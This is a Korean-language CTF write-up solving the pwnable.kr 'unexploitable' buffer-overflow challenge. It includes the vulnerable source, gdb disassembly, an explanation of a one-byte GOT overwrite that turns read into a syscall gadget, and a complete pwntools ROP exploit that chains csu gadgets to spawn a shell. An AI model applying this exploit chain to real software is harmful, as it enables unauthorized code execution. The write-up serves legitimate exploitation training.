소스코드 분석
#include <stdio.h>void main(){ // no brute forcing sleep(3); // exploit me int buf[4]; read(0, buf, 1295);}코드는 간단하다.
출력함수 없이 read 함수만 존재하고 bof가 터진다.
취약점 분석
가젯이 많이 부족하다.
쓸만한 가젯을 찾던 중에 syscall을 발견했고, csu 부분을 이용해서 execve를 실행시키면 될 거 같다.
syscall은 read 함수의 got를 1byte 변조해서 사용했다.
pwndbg> disas readDump of assembler code for function __GI___libc_read: 0x00007ffff7af2140 <+0>: lea rax,[rip+0x2e0891] # 0x7ffff7dd29d8 <__libc_multiple_threads> 0x00007ffff7af2147 <+7>: mov eax,DWORD PTR [rax] 0x00007ffff7af2149 <+9>: test eax,eax 0x00007ffff7af214b <+11>: jne 0x7ffff7af2160 <__GI___libc_read+32> 0x00007ffff7af214d <+13>: xor eax,eax 0x00007ffff7af214f <+15>: syscall{: file=‘gdb’}
하위 1byte를 0x4f로 변조해줬다.
사실 삽질을 굉장히 많이 했는데, 처음엔 sleep 함수의 got를 변조할 생각이었다.
하지만 syscall의 주소가 sleep 함수의 got와 하위 1.5 byte가 달랐기 때문에 실패하였다.
pwndbg> disas sleepDump of assembler code for function __sleep: 0x00007ffff7ac6640 <+0>: push rbp 0x00007ffff7ac6641 <+1>: push rbx 0x00007ffff7ac6642 <+2>: sub rsp,0x28 0x00007ffff7ac6646 <+6>: mov rbx,QWORD PTR [rip+0x30681b] # 0x7ffff7dcce68 0x00007ffff7ac664d <+13>: mov rax,QWORD PTR fs:0x28 0x00007ffff7ac6656 <+22>: mov QWORD PTR [rsp+0x18],rax 0x00007ffff7ac665b <+27>: xor eax,eax 0x00007ffff7ac665d <+29>: mov eax,edi 0x00007ffff7ac665f <+31>: mov rdi,rsp 0x00007ffff7ac6662 <+34>: mov QWORD PTR [rsp+0x8],0x0 0x00007ffff7ac666b <+43>: mov rsi,rdi 0x00007ffff7ac666e <+46>: mov ebp,DWORD PTR fs:[rbx] 0x00007ffff7ac6671 <+49>: mov QWORD PTR [rsp],rax 0x00007ffff7ac6675 <+53>: call 0x7ffff7ac6760 <__GI___nanosleep> # here{: file=‘gdb’}
pwndbg> disas __GI___nanosleepDump of assembler code for function __GI___nanosleep: 0x00007ffff7ac6760 <+0>: lea rax,[rip+0x30c271] # 0x7ffff7dd29d8 <__libc_multiple_threads> 0x00007ffff7ac6767 <+7>: mov eax,DWORD PTR [rax] 0x00007ffff7ac6769 <+9>: test eax,eax 0x00007ffff7ac676b <+11>: jne 0x7ffff7ac6780 <__GI___nanosleep+32> 0x00007ffff7ac676d <+13>: mov eax,0x23 0x00007ffff7ac6772 <+18>: syscall # here{: file=‘gdb’}
때문에 read 함수의 syscall을 사용하기로 했다.
일단 read 함수를 통해서 bss 영역에 /bin/sh 문자열을 써주었고, 다시 read 함수를 사용해서 read@got를 syscall로 변조해줬다.
하위 1byte를 변조했기 때문에 rax는 1로 세팅이 되어있었고, 덕분에 write 함수를 사용할 수 있었다.
아무 곳에서 execve의 syscall number만큼 읽어들이면 rax가 그 숫자로 맞춰지기 때문에 rdi에 아까 써둔 문자열이 위치한 bss 영역의 주소를 넣어주면 쉘을 실행시킬 수 있다.
익스플로잇
from pwn import *
s = ssh(user='unexploitable',host='pwnable.kr',port=2222,password='guest')p = s.process("./unexploitable")
# p = process('./unexploitable')
e = ELF('./unexploitable')bss = e.bss()
read_plt = e.plt['read']read_got = e.got['read']
csu_init = p64(0x00000000004005e6)csu_call = p64(0x00000000004005d0)
payload = 'A' * 24
payload += csu_initpayload += 'A' * 8payload += p64(0)payload += p64(1)payload += p64(read_got)payload += p64(0)payload += p64(bss)payload += p64(0x8)payload += csu_call
payload += 'A' * 0x38
payload += csu_initpayload += 'A' * 8payload += p64(0)payload += p64(1)payload += p64(read_got)payload += p64(0)payload += p64(read_got)payload += p64(1)payload += csu_call
payload += 'A' * 0x38
payload += csu_initpayload += 'A' * 8payload += p64(0)payload += p64(1)payload += p64(read_got)payload += p64(1)payload += p64(read_got)payload += p64(0x3b)payload += csu_call
payload += 'A' * 0x38
payload += csu_initpayload += 'A' * 8payload += p64(0)payload += p64(1)payload += p64(read_got)payload += p64(bss)payload += p64(0)payload += p64(0)payload += csu_call
p.send(payload)sleep(3)p.send('/bin/sh\\x00')sleep(3)p.send('\\x5e\\x00')
p.interactive()
쉘을 획득했다.